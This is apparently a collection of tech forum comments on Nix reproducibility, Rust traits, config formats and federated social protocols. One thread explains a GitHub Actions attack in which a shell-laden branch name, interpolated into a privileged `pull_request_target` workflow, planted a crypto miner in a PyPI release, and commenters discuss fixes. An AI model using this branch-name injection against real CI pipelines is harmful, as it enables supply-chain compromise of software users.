So NixOS is not bitwise reproducible, but is significantly more reproducible than others. We simply lack the nomenclature to describe its class, and while we lack the nomenclature, calling it reproducible is not unreasonable, albeit imprecise. We need a better word.
Please take no offense at what I’m going to say: did you read the article? It says that 91 % of nixpkgs is bitwise reproducible. The NixOS minimal ISO is 99% reproducible: https://reproducible.nixos.org/nixos-iso-minimal-r13y/.
I don’t think Arch or Ubuntu or Gentoo claims 100 % bitwise reproducibility neither, do they?
I have seen for years the argument that no one can verify NixOS bitwise reproducibility at scale, when someone do, it’s still not bitwise reproducibility. I am not sure what can be done at this point.
It’s a bit ironic that the only comment arguing about the word is the one complaining that there always is too much discussion over the word itself…
I use the term “repeatable” to mean “the build runs again” and “reproducible” to mean “the build produces bit-for-bit identical output”, but I have no idea whether or not this is conventional.
I usually use rebuildable and reproducible for the same concepts, but yeah I think the problem is that the vocabulary can be a little bit blury in this field
Now that you mention it, I like “rebuildable”, since you can repeat a lot of different things.
Great terms, I will ensure that this is my vocabulary going forward. Thanks!
You used the term “bitwise reproducible”; that’s what adjectives are for! I think it’s reasonable to allow that some words are just imprecise, or have multiple related meanings, and generally need clarification appropriate to the level of technical detail in any particular technical context. The word “functional” comes to mind; I’m sure you can think of others.
I’m not sure that the discussion about the wording is that interesting to be honest, even if I have to admit that I did use it as motivation for the blog post. There are several interpretation of the word reproducible, and they have sometimes been used interchangeably in wrong contexts.
Essentially, different concepts of reproducibility give you different properties that can or not be relevant depending on your usecase. This paper is essentially about software supply chain security where bitwise reproducibility is the level needed to increase trust in binary distributions.
Seems like a good caveat to add to the article!
Being familiar with Nix, I understood “locally recompiled the integrality of the packages from these revisions” as no substituting at all, fetching the source code from the cache sounds fine to me, but probably worth a sentence :)
Also, how did you allow fetching the source code from the cache, but not the build outputs?
Best idea I have is an overlay that changes all the builders to use
preferLocalBuild = true, while setting the fetchers tofalse.Sorry if this is all covered in your paper! I didn’t see it from a quick look.
Also another caveat I didn’t think of before opening the paper, but is obvious in retrospect: you can only validate reproducibility of packages that are still in the cache.
Noting how many that represents of the total set of packages would be interesting.
P.S. Merci pour ton travail, et celui du reste de l’équipe. It’s really cool to have this information!
The vocabulary here is really unfortunate and has always bothered me! At a minimum, I think there’s value in pointing out that there are two separate definitions at play.
I feel both definitions are totally valid, it just sucks that the term is used interchangeably when there’s very little overlap between the two definitions. I think this has misled and confused lots of folks, and I wish we’d have clearly separate terms for each (maybe I’ll adopt jackdk’s “repeatable” and “reproducible” terminology too)
Definitions aside, I really enjoyed the research here– the work on vetting package reproducibility is extremely valuable and insightful!
Where are people using “reproducible builds” in a sense that doesn’t mean bitwise reproducible? I don’t remember seeing anyone quibble about it before.
On the NixOS homepage for one: https://nixos.org/
(Well, you could argue NixOS is using it to mean “bitwise reproducible”, but I’d say that doesn’t track, since TFA shows that Nix alone doesn’t ensure builds are bitwise reproducible)
Oh, we’ve quibbled about it before alright.
Here is an example where they recommend Docker: https://reproducible-analysis-workshop.readthedocs.io/en/latest/8.Intro-Docker.html.
I don’t exactly remember where I saw it, but a weak point I could kiiinda agree on was in the context of comparing distros. If all they had to do was fix the timestamp, i.e. iirc if the diffoscope output yielded nothing but timestamp variance, I also think it was a bit disingenuous to harp on it not being reproducible, even if it wasn’t bit for bit, but virtually the same binary for any meaningful definition of bugs/backdoors/etc.
So yeah, I’m 90% with you, it has a meaning and most people use it that way. Arguing semantics is silly unless someone is arguing in bad faith already.
The interesting thing to me is that of the reasons listed for non-reproducibility are fairly trivial. Embedded environment variables could have some impact, but all the other issues are more or less what I’d consider false positives that could not affect functionality.
If you want reproducible binaries that can be verified by hash, then what you are calling “functionality” is not the immediate concern. But I do agree, this is an encouraging result: most of the sources of non-reproducibility could be patched, if you do need a binary-identical reproducible build.
The only reason bazel works is because it creates bit-perfect reproducible outputs.
You can’t claim reproducible if your environment affects your outcome because what is built on one machine can differ from another- meaning you can’t treat them as interchangeable.
Nix is very popular, so people will have a need to emotionally defend this point, but it is the only way that bazel ensures you can do distributed build and caching- without actual reproducibility (not just the ability to step through a build with the same compiler setup) then you can’t scale your build and artifact infrastructure. I’m aware that most people don’t care though- and that Nix is a major improvement on things like Ansible;
Bazel, like Nix, doesn’t guarantee (bitwise) reproducibility: https://bazel.build/about/faq#will_bazel_make_my_builds_reproducible_automatically
The default toolchain you get with Bazel for C++ and Java does, but in general it doesn’t. In fact, bitwise reproducibility isn’t something that a build system itself can solve generally[^1]. There are some obvious sources of non-reproducibility like writing the date during the build, but Reproducible Builds has a good list of the more subtle sources too: https://reproducible-builds.org/docs/commandments/
As someone also working on tooling in this space, Bazel and Nix (with sandboxing enabled) take very similar approaches of using Linux namespaces to isolate builds, and I think that’s the right target for a general-purpose build system. Bazel uses the term “hermeticity”, which I like.
[1]: Okay, I think a build system could guarantee bitwise reproducibility with arbitrary compilers / build tools, but I would say it’s not really practical. It’d need to provide a fully deterministic environment– say, a Wasm runtime or tightly controlled VM or something– where all possible sources of randomness and non-determinism are controlled.
I don’t disagree, but it is a specific goal of each “rules_x” build rules to be hermetic, because without hermetic build environments and bit-wise reproducibility you cannot achieve distributed incremental compilation. Which is an explicit goal of Bazel.
Build systems are clever enough that incremental compilations can be solved by just looking at the changed files along with the computed build graph. You “just” rebuild the dependent artifacts.
No bit-for-bit reproducability is needed for this.
How does this work in a distributed build system?
Well, you just coordinate the work to do for the unit of compilation across your nodes? Distributed does not bring any special challenge, see https://www.distcc.org/ and ccache for prior art. They do not have any bit-to-bit or hermeticity tricks.
Incremental compilations in hermetic meta build systems like Nix are the real challenges, and approaches like https://nlnet.nl/project/Zilch/ pushes the frontier on what we know on how to build such systems.
From what I understand, distcc helps with distributed compilation but not incremental build.
IE; you have to build at least once on every machine that will be firing off compilation.
If you compile an object file at CL1234 and I take latest (CL1235) I will have to compile your object file for myself too, and so will everyone in the company, so builds have to be repeated constantly.
FWIW in GameDev there are solutions for this such as FastBuild and Incredibuild (and something Sony is working on, but I can’t recall the name, SDB?). Incredibuild being the most feature complete, but disgustingly expensive.
Right: the point is that the distribution is mostly separate from the incrementality. So there shouldn’t be much of an additional concern (from a theoretical standpoint) about whether the build is distributed or not.
Hence the question “How [do non-hermetic incremental builds] work in a distributed build system?” is probably asking the wrong thing. Even on the same machine, the build is meaningfully distributed across separate threads or processes, yet the techniques for incrementality don’t change much, including in the absence of hermeticity.
My presumption (based, I think on the fact I read it in a book) is that incrementality is determined by metadata, such as last modified time. Which tends not to exist, or is incredibly noisy in a distributed filesystem of any kind.
https://www.gnu.org/software/make/manual/make.html#Rule-Syntax
I am absolutely not an expert in this topic, but Nix only depends on the inputs. An output’s hash is simply the inputs’ and the “rule” used to build it.
This way, you can simply check if the hash calculated with an updated input exists on another machine already, or not.
I’m also not an expert on nix by any measure, but I said this earlier:
This whole thread is discussing the difference between repeatable building and actually bit-perfect reproducible building.
You need the latter if you want to do distributed incremental build; or, I’m not smart enough to understand how it would work otherwise.
That’s what I was trying to describe - if your hashes only contain the repeatable script that builds them and their transitive dependencies’ hashes, then you can cache/incremental build from any point on any device - you never use the actual output to calculate the hash, so even if two builds are not 100% bit-by-bit identical, it will be considered the same by the build system (and unless you have a buggy compiler, it should be functionally equivalent).
Say, my project depends on A and B, and B depends on C. If I change C, but all the other build descriptions and inputs remain the same then B will have its hash changed as well, which will transitively cause the rebuild of my project as well. But my project is free to cache/download the results of A, as its hash remained the same.
For Bazel: typically the host requesting the build computes the entire build graph, dispatching cache presence requests followed by build jobs as it does to the remote builders.
It required and still requires a lot of effort to make compilers themselves produce the same output for the same environment and input. Many tasks are ordered on a “which finished faster” bases, which might affect something in the final binary.
Nix can only do so much if the exact same commands in the exact same, sandboxed environment doesn’t produce the same output.
These build tools can slowly be patched over time with this in mind, but that won’t happen overnight.
Why not? There’s a difference between “I can prove these are the same thing” and “these are functionally equivalent.”
I mostly agree, but I think the latter is actually “these are probably functionally equivalent, and I am going to accept that I can’t know for sure” at scale. For an individual build you can manually assess it and determine that the difference is just this one timestamp that is not used anywhere, but verifying that for more than a handful of builds would be pretty tedious.
ime you can know for sure - if you have a build/test pipeline
A -> B -> Cand A is a cache hit because its inputs didn’t change, B builds successfully, and C builds/runs successfully, you’re as confident in the software as if you had reproducible builds.In practice, yes, that’s why Nix and Bazel are pretty damn reliable. But in theory, if you have any nondeterminism in your build system, the result can be arbitrarily severe.
For a silly example, you can imagine a build step that branches on the value of CPUID (which is available inside the nix sandbox) and then either builds curl or wget.
I used to daily drive NixOS in 2018 (for ~9 months before jumping ship), and this pretty well captures most of the pain points I had back then (which, in turn, is what drove me to start work on my own package manager!)
I was originally really enamored with using NixLang to configure all my installed software… until I tried to get an Nginx server up and running on NixOS. It seemed really convenient, until I found that Nix didn’t expose an option for some Nginx feature I was trying to use. I could still do it, but only by using the “escape hatch” to manually append a raw string within a section of the Nginx config. Not only did I need to learn the nuance of NixOS’s configuration options for Nginx (poorly documented, at the time at least), but I then also needed to learn the nuance of Nginx’s configuration and syntax, and I also needed to read the source of the NixOS Nginx module to figure out how the final config value was being concatenated so I could get my config to work properly.
That really soured me on NixOS’s “configure everything in NixLang” approach. It’s a leaky abstraction, and an unnecessary one when it’d be simpler to just manually write out the config the software expects (which IIRC NixOS lets you do, but it’s not the idiomatic way to do it)
I started using Nix pre-Flakes, so I’m not sure if Flakes make things better here, but dev environments were my biggest letdown when I first jumped on the Nix bandwagon. Setting up a Nix dev environment was extremely painful the first time, but I hoped that it’d slowly become second nature as I got practice. It never did– by the time I jumped ship, I still felt like I was fighting NixOS to get dev projects up and running.
As for newer solutions like Flox and Devenv… I haven’t tried them, but I’ve always been worried in the back of my mind that– like the pain I felt with NixOS’s declarative configs– they’d be a leaky abstraction on top of Nix. Well, even if they’re not leaky, I also felt Nix as a dependency is extremely heavy: it needs to install the store globally under
/nix, plus it’s (usually) set up to run builds via a daemon. It’s sensible both for Devenv and its ilk use Nix as a base, and for Nix to be set up this way, but… I never ended up trying them because, for me at least, it was too tough a pill to swallowI don’t know, I absolutely love that for the predominantly common scenario I can usually just search for the NixOS option, add a single line into my configuration file of services.x.enable = true, and a couple other basic config options, and be done. I don’t have to learn this random tool’s entire config syntax, obscure options, read its documentation, etc. Plus the ideal config will be stored in one place, which I won’t forget backing up, or even that it ever existed (unlike one that is in some random folder).
And out of all my services, most of them are like this. And as you say, nix does allow for escape hatches for the rare exception. In my view this is obviously better than no easy declerative way for the common configs, not even having the option.
(Though nginx is indeed one of the few examples that can have very complex configurations where the nix-exposed knobs will quickly end up short)
Yeah, I think this kind of obligatory config templating is usually an antipattern, for exactly the reason you describe.
(I think the worst I encountered was autoyast, in which I had to write a config that corresponded roughly to what I would have entered into the yast installer gui; this went through a layer of code in a bespoke scripting language and turned into a collection of shell variables with different names to the autoyast settings; the shell variables went through a layer of bash init scripts that set command line flags and/or templated values in config files. All undocumented. Infuriating.)
What I generally want is a basic facility that lets me drop in my own config file, so I only need to read the upstream’s documentation.
For simple usage when I’m not pushing the program hard then it’s helpful to have an optional layer on top that sets sensible defaults with a few simple knobs.
For serious usage I’ll be doing my own system integration programming and config file generation, and that’s easier if I don’t also have to work around the package’s unwanted system integration stuff.
I mean the whole trait disaster situation that he mentions in the block of Rust v Zig is very much on point. It’s just extremely un-fun. What’s the point?
It’s too bad this person’s editor has a broken implementation of “jump to definition,” but since Rust traits are coherent there is exactly one implementation of read which could apply to a given type and it should never be ambiguous. In contrast, if one were to use Zig’s comptime to implement polymorphism, the editor cannot actually determine dispatch outside of a specific monomorphic context because comptime just executes arbitrary Zig. This is not an argument Zig is actually winning.
But it’s also the case that today no one really writes polymorphic code in Zig at all because its faculties for it are so limited. So I guess the “point” is that a lot of people find polymorphism a useful language feature, even if their IDEs are currently unable to resolve traits for them.
I don’t think “jump to definition” is particularly material here. I obviously don’t have problem with semantic jump to definition, but I still find myself regularly getting lost figuring out what actually calls what in some real-world rust code bases. This might be due to the fact that rust-tooling is still pretty far from the ideal, but I don’t think so.
I had more or less the same navigation problem in a large Java codebase, where “action at a distance” effect is created by inheritance. In Java, the problem is easier (as you can syntactically follow the specific chain of superclasses, instead of impls being anywhere in a trait-or-type defining crate), the solution is much better (IJ is pretty close to ideal with respect to semantic understanding), and still, at lest for me personally, there’s a big mental overhead to piece together spatially disjoint fragments of code into a straight-line sequence of steps that actually happens at runtime.
I do think it is an unsolved problem in language design to combine expressive power of polymorphism with cognitive simplicity of straight-line non-generic code that just does things, one after another.
Practically, I solve it by not using traits, interfaces, inheritance, closures, etc, unless absolutely necessary (chiefly at the boundary between separately linked or at least separately developed components), but I feel that that’s an unorthodox position, and that the no-action default in Rust is to make much more things generic&indirect.
No informed opinion on how Go, Rust, and Zig compare for this particular aspect though, as I only have relevant experience of reading other’s people code in Rust.
I also barely used traits in the Rust that I write. I’m not sure if its really true that ordinary Rust users use tons of traits (certainly I’ve seen codebases that do use them in ridiculous ways), or if that impression largely derives from their use in exactly the way you describe: as parts of the interfaces of highly abstract open source libraries, which are separately developed components trying to play nicely with unknown peers.
And even then sometimes I look at the rustdoc output of some potential dependency and wonder what on earth the author was thinking! I’m not even talking like obviously bad examples like recent versions of the base64 crate.
Adding onto that navigation problem in Java are interfaces and DI. Every time I wanted to see a function definition I was taken to the interface instead, and I had to then puzzle out which of the five implementations was actually injected into this class by DI.
That almost seems to be the goal of DI, i.e. that you don’t know what the exact class is that you should expect?
Yes, and that’s one of its downsides, which only gets worse when you abuse DI where it shouldn’t be. It’s really annoying to have to run the program with a debugger to do something that should be entirely possible with static analysis.
I’d agree that in most languages, if you know what the class will be, it really shouldn’t be using DI.
That sounds nice, until you actually need to figure out which implementation is doing something unexpected.
Indirection is indispensable in large systems, but it also comes at an extremely high readability penalty. Using it lightly improves code immensely. Using it heavily makes code incomprehensible.
There are different flavors of DI. Java DI implementations in particular (e.g. Spring) often use DI for all wiring that DI can possibly be used for, which leads to these types of frustrations. I prefer to use DI only across container and module boundaries, and for security purposes (where the implementation class is likely to be opaque from the injection site’s POV). Obviously, this isn’t supported by Java …
Yes, this is vile. I hate this so much.
For what it’s worth, intellij has pretty decent support even for that.
Also, for spring specifically, Intellij can actually resolve it in most cases (I believe via executing the same rules as Spring would). Also, Spring started getting more aligned with the native compilation model, so they have some support for doing DI ahead of time, similarly to the more modern “competition” microservice frameworks.
True!
Eh.. not really. The actual truth is that you can get a lot done without the need of creating a ton of polymorphic abstractions. Comptime is like salt: you just need to add a pinch of it to your program to bring out the umami flavor.
I think the idea was we have a
fn parse(request: &dyn Read) -> Structand he can only jump to the definition ofRead::readand not the specific version ofReadused (e.g.File::read) because the function doesn’t specify it… because the function doesn’t just work onFileit also works onTcpStreamand so on.Which is really more of a rejection of polymorphism (dynamic or static) than a complaint about IDE limitations. Which is.. a choice.
I suppose hypothetically a IDE with super good debugger integration might be able to pause a execution and then let you jump to the actual implementation of the trait by the current object you are looking at.
It could be much less esoteric:
x.into()easily brings you toimpl Into<U> for T where T: From<U>which is simultaneously correct and useless.Ooh, I never really thought about how poorly “Jump to Definition” works with the
From/Intosplit. But that got me thinking that it would be really slick if IDE tooling could provider a better experience here…Say I jump to definition on an
.into()call that’s converting fromFoointoBar. It’d be really slick if Rust Analyzer jumped to theimpl Into<U> for T where T: From<U>block, but could fill inFooforTandBarforU. Then I could just jump again into the underlying implementation ofimpl From<Foo> for Bar(Or bigger picture idea: probably the biggest challenge when navigating polymorphic code is going from a context with a specific type to context with a generic type, then back to a specific type. We’ve all learned to mentally track the specific type across that boundary, but there’s no reason we couldn’t have tooling that could do that for us, or at least make it easier)
Super interesting, traits were one of the big ideas that really sold me on Rust! Even when I first started learning the language, I felt like using Rustdocs to find which types implement a trait and what bounds I’d need to add to my generics was mostly intuitive to me.
I can definitely see why some folks would prefer the unchecked templating style that C++ offers (which I think is closer to how Zig’s comptime stuff works? but I’ve really only skimmed the beginner guides on comptime so could be very wrong here). But personally, I’ve been swayed by Rust’s model and I definitely prefer it over the “looser” style (i.e. I prefer getting errors on the definition of a generic function by default rather than getting errors where it’s invoked)
That said, there are definitely some real pain points around traits and trait bounds in practice. The biggest ones to me are around
Send/Sync/'staticbounds for futures (e.g. prevalent in Tokio), as well as extremely generic code that you find in libraries like Axum in Diesel (both libraries I enjoy, but being generic-heavy definitely comes with a cognitive cost)My philosophy these days is to use enums in most situations, and to only use traits when necessary (and if so, to try and use
dyn Traitif possible, since passing around a concrete type beats propagating generic parameters everywhere). Even so, I’m still very “pro trait”, and common traits likeIterator,Read, andFrom/Intohave been a joy to useI’m not a huge fan of the takedowns of other languages, but I needed to grin at TOML:
idk, I really like TOML’s design for piggy-backing on an existing syntax of INI and being a JSON superset. Forcing value quoting and having no mechanism for config deduplication like YAML anchors are probably the thing I’m most disappointed by.
TOML isn’t a superset of JSON, they are incompatible both in syntax and in semantics
Huh, for some reason I was also under the impression that TOML was a JSON superset, but you’re right that it isn’t
I think I got the impression because YAML is a strict superset of JSON. Which can actually be pretty handy in a pinch– I’ve occasionally used YAML as quick-and-dirty way to add comments to a JSON code snippet. Although, I’ve found more and more JSON parsers and syntax highlighters natively support comments in JSON nowadays!
I’m also okay with TOML as a language, but as someone who trains Rust for a living, it is telling that I always need to answer some TOML questions and there’s a lot of corner cases.
Naming it “obvious, minimal” kind of invites the question “well is it” and the answer is “kindaaaaaaa”…
I’ve been using Rust since version ~0.6 and I don’t understand all the details of TOML’s map syntax(es) (so I just “cargo-cult” it), and I’m not sure I’ve ever intentionally used the date syntax. I, for one, certainly don’t find TOML either “obvious” or “minimal”, and I find rather irritating that it claims to be those things.
I thought the whole section on different configuration languages felt pretty out of place. I appreciate that it was mostly light-hearted jabs (my read on it anyway), but I really am left wondering why I’d use CCL over, say, KDL or TOML
I think the core message is supposed to be something like this: “JSON/TOML/YAML/etc. are more complex than they need to be, and a flat list of key-value pairs is simpler”. But honestly, none of the “sales pitch” examples really swayed me that this simpler model would be better
For those who are curious but don’t want to pick through the github issue threads:
A malicious PR making a very innocent looking change to the README used a branch name with shell commands in it, formatted in a way that would cause CI jobs to execute those commands when performing a build for upload to PyPi. Those commands downloaded a crypto miner and embedded it into the release package.
So the automated builds that were getting uploaded to PyPi had the miner, but the source in github did not and any build you produced manually by cloning the repository and running a build on your local machine would not have it either.
It’s an interesting attack. Hopefully we’ll see a more detailed description of why a branch name from a PR was getting consumed by GitHub CI in a way that could inject commands.
There was an action that echo’d the branch name without sanitizing anything: https://github.com/advisories/GHSA-7x29-qqmq-v6qc
Another lesson in never trusting user input
I don’t think “never trusting user input” is the right lesson to learn here. Why? Because I don’t think the whoever wrote that code was aware they were trusting the branch name, or what properties of the branch name exactly they were trusting. So the lesson is not really actionable.
I think the lesson is that these kinds of string-replacement based systems (YAML templates, shell variable expansion etc.) just naturally invite these issues. They are inherently unsafe and we should be teaching people to use safer alternatives instead of teaching them to be vigilant 100% of the time.
For e.g. SQL queries it seems the industry has learned the lesson and you’ll rightfully get ridiculed for building your queries via naive string interpolation instead of using a query builder, stored procedures or something of the sort. Now we need to realize that CI workflows, helm charts and everything else using string-level YAML templating is the same deal.
The FP people have a mantra “parse, don’t validate” for consuming text. I think we need another one for producing text that’s just as snappy. Maybe “serialize, don’t sanitize”?
I’m wishing for a CI/automation tool that would provide functionality like “check out a git branch” as functions in a high-level language, not as shell commands embedded in a data file, so that user input is never sent to a shell directly at all. Maybe I should make one…
Before all the hip yaml based CI systems, like github actions, pretty much everyone was using Jenkins.
The sorta modern way to use Jenkins these days is to write Groovy script, which has stuff like
checkout scm, and various other commands. Most of these are from Java plugins, and so the command never ends up going anywhere near a shell, though you do see a lot of use of the shell command function in practice (i.e.sh "make").Kinda a shame that Jenkins is so wildly unpopular, and these weird yaml-based systems are what’s in vogue. Jenkins isn’t as bad as people make it out to be in my opinion.
Please do build something though because Jenkins isn’t exactly good either, and I doubt anyone would pick Groovy as a language for anything today.
I’ve used Jenkins quite a bit, that’s one of the inspiration source for that idea indeed. But Groovy is a rather cursed language, especially by modern standards… it’s certainly one of my least favorite parts of Jenkins.
My idea for a shell-less automation tool is closer to Ansible than to Jenkins but it’s just a vague idea so far. I need to summarize it and share it for a discussion sometime.
groovy is okay. Not the best language, but way ahead any other language I’ve ever seen in a popular CI solution. And ansible should die.
Have you considered Dagger?
edit: I just had to read a little down and someone else points you the same way…
I haven’t heard about it before it was suggested in this thread, I’m going to give it a try.
I use Groovy at
$DAILYJOB, and am currently learning Ruby (which has a lot more job listings as Elixir). The appeal of both languages are the same: it is incredibly easy to design DSLs with it (basically what Jenkins and Gradle use). Which is precisely what I work with at$DAILYJOB. The fact it’s JVM-based is the icing on the cake, because it’s easy to deploy in the clients’ environments.Dagger looks interesting for this sort of use case: https://dagger.io/
This looks really interesting, thanks for the pointer! Maybe it’s already good for things I want to do and I don’t need to make anything at all, or may contribute something to it.
That’d be lovely.
The generation of devs that grew up on Jenkins (including myself) got used to seeing CI as “just” a bunch of shell scripts. But it’s tedious as hell, and you end up programming shell via yaml, which makes me sympathetic to vulns like these.
Yeah in dealing with github’s yaml hell I’ve been wishing for something closer to a typed programming language with a proper library e.g. some sort of simplified-haskell DSL à la Elm, Nix, or Dhall.
They all do? They all provide ways to build specific branches defined in yaml files or even via UIs rather than letting that work for your shell scripts. Personally I find all those yaml meta-languages all inferior than just writing a shell script. And for one and a half decades I’ve been looking for an answer to the question:
What’s the value of a CI server other than running a command on commit?
But back to your point. Why? What you need to do is sanitize user input. That is completely independent of being shell script versus another language. Shellscripts are actually higher level than general purpose programming languages.
I’m certainly not saying that one doesn’t need to sanitize user input.
But I want the underlying system to provide a baseline level of safety. Like in Python, unless I’m calling
eval()it doesn’t matter that some input may contain the character sequenceos.system(...; and if I’m not callingos.system()and friends, it doesn’t matter if a string may haverm -rfin it. When absolutely any data may end up being executed as code at any time, the system has a problem, as of me.Buildbot also belongs on the list of “systems old enough to predate YAML-everywhere”. It certainly has its weaknesses today, but its config is Python-based.
In GitHub Actions specifically, there’s also a very straightforward fix: instead of interpolating a string in the shell script itself, set any values you want to use as env vars and use those instead. e.g.:
I don’t think string replacement systems are bad per se. Sure, suboptimal in virtually all senses. But I think the biggest issue is a lack of good defaults and a requirement to explicitly indicate that you want the engine to do something unsafe. Consider the following in GH Actions:
I do not see any major difference immediately. Compare to Pug (nee Jade):
Using an unescaped string directly is clear to the reader and is not possible without an opt-in. At the same time, the opt-in is a matter of a single-char change, so one cannot decry the measure as too onerous. The mantra should be to make unescaped string usage explicit (and discouraged by default).
But to escape a string correctly, you need to know what kind of context you’re interpolating it into. E.g. if you’re generating a YAML file with string values that are lines of shell script, you might need both shell and YAML escaping in that context, layered correctly. Which is already starting to look less like string interpolation and more like serialization.
A few yearsOver a decade ago (jesus, time flies!) I came up with an ordered list of approaches in descending order of safety. My main mantra was “structural safety” - instead of ad-hoc escaping, try to fix the problem in a way that completely erases injection-type security issues in a structural way.I’m reminded of my similar post focused more on encoding (from the same year! hooooboy).
Good post! I’m happy to say that CHICKEN (finally!) does encoding correctly in version 6.
Serialize, don’t sanitize… I love it! I’m gonna start saying this.
AFAIU, the echoing is not the problem, and sanitizing wouldn’t help.
The problem is that before the script is even executed, parts of its code (the
${{ ... }}stuff) are string-replaced.Yeah. The problem is that the echo command interpretes things like
${{...}}and executes it. Or is it the shell that does it in any string? I’m not even sure and that is problem. No high level language does that. Javascript uses eval, which is already bad enough, but at least you can’t use it inside a string. You can probanly dohello ${eval(...)}but then it is clear that you are evaluating the code inside.The
${{...}}are replaced by the Github CI system before the echo is even run: https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injectionsIt’s the shell that evaluates
$...syntax.$(cmd)executescmd,${VAR}reads shell variablesVARand in both cases the shell replaces the$...with the output before calling the echo program with the result. Echo is just a dumb program that spits out the arguments its given.Edit: but the ${{ syntax is GitHub Actions’ own syntax, the shell doesn’t see that as GH Actions evaluates it before running the shell command.
Oh thanks for explaining!
The part I don’t get is how this is escalated to the publish, that workflow only seems to run off of the main branch or a workflow dispatch.
cf https://lobste.rs/s/btagmw/maliciously_crafted_github_branch_name#c_4z3405 it seems they were using the pull_request_target event which grants PR CI’s access to repo secrets, so they could not only inject the miner, but publish a release?
Does anyone have a copy of the script so we can see what it did?
Funny that they managed to mine only about $30 :)
Honestly, shining a spotlight on this attack with a mostly harmless crypto miner is a great outcome.
Less obvious key-stealing malware probably would have caused far more pain.
I knew crypto would have great use cases eventually
The
pull_request_targetevent that was used here is privilege escalation similar to sudo – it gives you access to secrets etc.Like all privilege escalation code, this should be very carefully written, fuzzed, and audited. Certainly a shell script is exactly wrong – sh was never designed to handle untrusted input in sensitive scenarios. Really it’s on GitHub Actions for making shell script-based privilege escalation code the easy path.
At the very least you want to use a language like Rust, leveraging the type system to carefully encapsulate untrusted code, along with property-based testing/fuzzing for untrusted inputs. This is an inherently serious, complex problem, and folks writing code to solve it should have to grapple with the complexity.
cf https://lobste.rs/s/btagmw/maliciously_crafted_github_branch_name#c_4z3405 it seems they were using the pull_request_target event which grants PR CI’s access to repo secrets, so they could not only inject the miner, but publish a release?
Does anyone have a copy of the script so we can see what it did?
Funny that they managed to mine only about $30 :)
Wow. I was looking for that kind of explanation and hadn’t found it yet. Thank you for finding and sharing it.
No, the lesson is to never use bash, except for using to start something that is not bash.
Oh, this is probably a better top level link for this post!
This is the offending PR
https://github.com/ultralytics/ultralytics/pull/18018
A bot made the PR? How does that work?
I don’t know if it was a bot or not (but that is probably irrelevant). The problem in the PR lies in the branch name which executed arbitrary code during GitHub Actions. Sorry if I misunderstood your question.
Hm, the dots don’t connect for me yet. I can just make a PR with changes to build process, and CI would test it, but that should be fine, because PRs run without access to secrets, right?
It’s only when the PR is merged and CI is run on the main branch that secrets are available, right?
So would it be correct to say that the PR was merged into main, and, when running CI on the main branch, something echoed the branch name of recently-merged PR?
Ah, I am confused!
See https://stackoverflow.com/questions/74957218/what-is-the-difference-between-pull-request-and-pull-request-target-event-in-git
There’a a way to opt-in to trigger workflow with main branch secrets when a PR is submitted, and that’s exactly what happened here.
I don’t get why this option exists!
Why would you ever want to expose your secrets to a pull request on an open source project? Once you do that, they’re not actually secrets, they’re just … weakly-obscured configuration settings. This is far from the first time this github “feature” has been used to attack a project. Why do people keep turning it on? Why hasn’t github removed it?
If I understand it correctly, I can maybe see it used in a non-public context, like for a companies internal CI.
But for open source and public repos it makes no sense. Even if it’s not an attack like in this case, a simple “echo …” makes the secrets no longer secret.
Prioritizing features over security makes total sense in this context! This was eloquently formulated by @indygreg! Actions:
You clearly want them to be as powerful as possible!
Note that the version of the workflow that’s used is the one in the target branch, not the one in the proposed branch.
There are legitimate use cases for this kind of privilege escalation, but GHA’s semiotics for it are all wrong. It should feel like a Serious, Weighty piece of code that should be carefully validated and audited. Shell scripts should be banned, not the default.
Thanks for the explanation, I was literally about to post a question to see if I understood it correctly. I am absolutely paranoid about the Actions running on my Github repos, it would seem to be that a closed PR should not be involved in any workflow. While the branch name was malicious, is there also a best practice to pull out here for maintainers?
Don’t ever use
pull_request_targettrigger, and, if you do, definitely don’t give that CI job creds to publish your stuff.The root cause here is not shell injection. The root cause is that untrusted input gets into CI run with creds at all. Of course, GitHub actions doesn’t do that by default, and you have to explicitly opt-into this with
pull_request_target. See the linked SO answer in a sibling commnet, it explains the issue quite nicely.Ah, comment by Foxboron clarifies that what happened here is not the job directly publishing malicious code, but rather poisoning the build cache to make the main branch CI pull bad data in! Clever! So, just don’t give any permissions for pull_request_trigger jobs!
My public repos don’t run CI jobs for PRs automatically, it has to be manually approved. I think this is the default. Not sure what happened in this case though.
By default it has to be approved for first-time contributors. Not too hard to get an easy PR merged in and get access to auto-running them.
It is totally fine to run CI on PR. CI for PRs does not get to use repository secrets, unless you go out of your way to also include secrets.
If you think your security depends on PRs not triggering CI then it’s is likely that either:
GitHub “don’t run CI for first time contributors” has nothing to do with security and has everything to do with using maintainer’s human judgement to protect free GitHub runners free compute from being used for mining crypto.
That is, this is a feature to protect GitHub/Microsoft, not your project.
Should be easily solvable by billing those minutes to the PR creator.
I guess there is also the situation where you provide your own runner rather than buying it from Github. In that case it seems like a reasonable precaution to restrict unknown people from using it.
Yes! I sympathize GitHub for having to implement something here on a short notice when this happened the first time, but I am dismayed that they didn’t get to implementing a proper solution here: https://matklad.github.io/2022/10/24/actions-permissions.html
Yes, the security with self-hosted runners is different. If you use non-sandboxed self-hosted runners, they should never be used for PRs.
Thank you, that’s a great summary, and a very interesting attack vector.
It’s strange (to me) that a release would be created off of an arbitrary user created branch, but I’m sure there’s a reason for it. In years and years of working with build automation I’ve never thought about that kind of code injection attack, so it’s something I’ll start keeping in mind when doing that kind of work.
Really enjoyed this perspective. I feel like I have a pretty good grasp of ActivityPub, so it was definitely enlightening to see where the gaps are in ATproto today
I’ll say that I think both ActivityPub and ATproto are both really cool and valuable protocols (I just recently set up Bluesky, but I’ve been on the Fediverse for 2 years and I have no plans to leave). But, it’s becoming pretty clear that Bluesky has “won” over Mastodon. I believe that’s entirely because Mastodon’s UX is really janky. And IMO a lot of that jank boils down to technical decisions made around federation to help reduce load on the network and to make instances easier to “scale down”. That said, the more decentralized nature of the Fediverse gives me the sense that it’s currently much more resilient long-term than Bluesky. I’d bet that we’ll still have active ActivityPub instances in 50 years from now, but I feel a lot less confident saying that about ATproto or Bluesky.
